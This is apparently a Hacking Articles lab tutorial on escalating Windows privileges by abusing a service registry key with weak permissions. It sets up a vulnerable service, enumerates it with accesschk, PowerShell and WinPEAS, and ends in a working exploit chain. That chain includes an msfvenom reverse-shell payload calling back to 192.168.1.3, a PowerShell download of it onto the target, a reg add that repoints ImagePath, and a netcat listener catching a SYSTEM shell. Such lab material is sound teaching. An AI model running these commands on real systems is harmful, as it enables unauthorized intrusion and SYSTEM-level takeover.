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Windows Privilege Escalation: Weak Registry Permission

Microsoft Windows offers a wide range of fine-grained permissions and privileges for controlling access to Windows components including services, files, and registry entries. Exploiting Weak Registry Permissions is one technique to increase privileges.

Table of Content

Introduction

  • Windows Registry
  • Registry Hive

Weak Registry Permission

Prerequisite

Lab Setup

Abusing Weak Registry Services

  • Enumerate Vulnerable Registry key using Accesschk.exe
  • Enumerate Vulnerable Registry key using Powershell
  • Enumerate Vulnerable Registry key using WinPEASx64
  • Create Malicious Executable

Introduction

Windows Registry

The registry is a system-defined database in which applications and system components store and retrieve configuration data. The registry is a hierarchical database that contains data that is critical for the operation of Windows and the applications and services that run on Windows.

You can use Registry Editor to do the following actions:

  • Locate a subtree, key, subkey, or value
  • Add a subkey or a value
  • Change a value
  • Delete a subkey or a value
  • Rename a subkey or a value

The data is structured in a tree format. Each node in the tree is called a key. Each key can contain both subkeys and data entries called values.

Registry Hive

A hive is a logical group of keys, subkeys, and values in the registry that has a set of supporting files loaded into memory when the operating system is started or a user logs in.

Note: Each time a new user logs on to a computer, a new hive is created for that user with a separate file for the user profile. This is called the user profile hive. A user’s hive contains specific registry information pertaining to the user’s application settings, desktop, environment, network connections, and printers. User profile hives are located under the HKEY_USERS key.

Most of the supporting files for the hives are in the %SystemRoot%\System32\Config directory. These files are updated each time a user logs on.

The following table lists the standard hives and their supporting files.

Weak Registry Permission

By hijacking the Registry entries utilized by services, attackers can run their malicious payloads. Attackers may use weaknesses in registry permissions to divert from the initially stated executable to one they control upon Service start, allowing them to execute their unauthorized malware.

Mitre ID: T1574.011

Tactics: Privilege Escalation & Persistence

Platforms: Windows

Prerequisite

Target Machine: Windows 10

Attacker Machine: Kali Linux

Tools: SubinACLPowerUP.ps1Winpeas.

Condition: Compromise the target machine with low privilege access either using Metasploit or Netcat, etc.

Objective: Escalate the NT Authority /SYSTEM privileges for a low privileged user by exploiting the Weak Registry Key.

Lab Setup

Step 1: Run CMD as administrator and execute the below command to create a service with the name of Pentest inside /temp directory.

sc.exe create pentest binPath= "C:\temp\service.exe"

Step2: To create a vulnerable service we need to assign some toxic privilege with the help of SubinACL to change the permission of services.

NOTE:

SubInACL is a little-known command-line tool from Microsoft, yet it is one of the best tools to work with security permissions in Windows. This tool is capable of changing the permissions of files, folders, registry keys, services, printers, cluster shares and various other types of objects.

In this case, we have granted a user permissions to suspend (pause/continue), start and stop (restart) a service.

Step3: After downloading SubinACL, execute the following command to assign PTO Permissions user “ignite” against “Pentest” service.

cd C:\Program Files (x86)\Windows Resource Kits\Tools
subinacl.exe /service pentest /grant=msedgewin10\ignite=PTO

Windows stores local service configuration information in the Registry under HKLM\SYSTEM\CurrentControlSet\Services.

Step4: Explore registry path HKLM\SYSTEM\CurrentControlSet\Services\pentest and change permission for it.

Step5: Allow FULL Control on Authenticate user.

Abusing Weak Registry Services

Enumerate Vulnerable Registry key using Accesschk.exe

An attacker can escalate privileges by exploiting Weak Registry permission if the current user has permission to alter Registry keys associated with the service.

Following an initial foothold, we can query for service registry keys permissions using the accesschk.exe Sysinternals tool.

nc –lvp 1245
accesschk.exe /accepteula "authenticated users" -kvuqsw hklm\System\CurrentControlSet\services

As result, we found ALL Access is assigned for the authenticated user for the “Pentest” registry key.

With the following command, we query for the image path for service.

reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\pentest

Enumerate Vulnerable Registry key using Powershell

With the help of PowerShell, you check the Access Control List (ACL) to enumerate the user privileges full control upon the service registry key.

Get-Acl -Path HKLM:\SYSTEM\CurrentControlSet\Services\pentest | fl

Enumerate Vulnerable Registry key using WinPEASx64

Even, using auto script WinPEASx64 we enumerate weak service registry which is another method post enumeration for weak configuration.

Create Malicious Executable

If the permissions for users and groups are not properly set and allow access to the Registry keys for a service, then adversaries can change the service binPath/ImagePath to point to a different executable under their control.

Create an executable shell and install it on the victim’s machine, then modify the service registry key to an executable since the authenticated user has full access to the service and therefore has the ability to change the image path for service.

msfvenom –p window/shell_reverse_tcp lhost=192.168.1.3 lport=8888 –f exe > shell.exe
python –m SimpleHTTPServer 80

cd c:\Users\public
powershell wget http://192.168.1.3/shell.exe -o shell.exe
dir
reg add "HKLM\system\currentcontrolset\services\pentest" /t REG_EXPAND_SZ /v ImagePath /d "C:\Users\Public\shell.exe" /f

net start pentest

When the service starts or is restarted, then the adversary-controlled program will execute, allowing the adversary to gain persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).

Thus as soon as the service will launch, the attacker will get a reverse connection in the new netcat session as NT Authority \system

nc –lvp 8888
whoami

References

https://attack.mitre.org/techniques/T1574/011/

https://docs.microsoft.com/en-us/windows/win32/sysinfo/registr

Author: Aarti Singh is a Researcher and Technical Writer at Hacking Articles an Information Security Consultant Social Media Lover and Gadgets. Contact here

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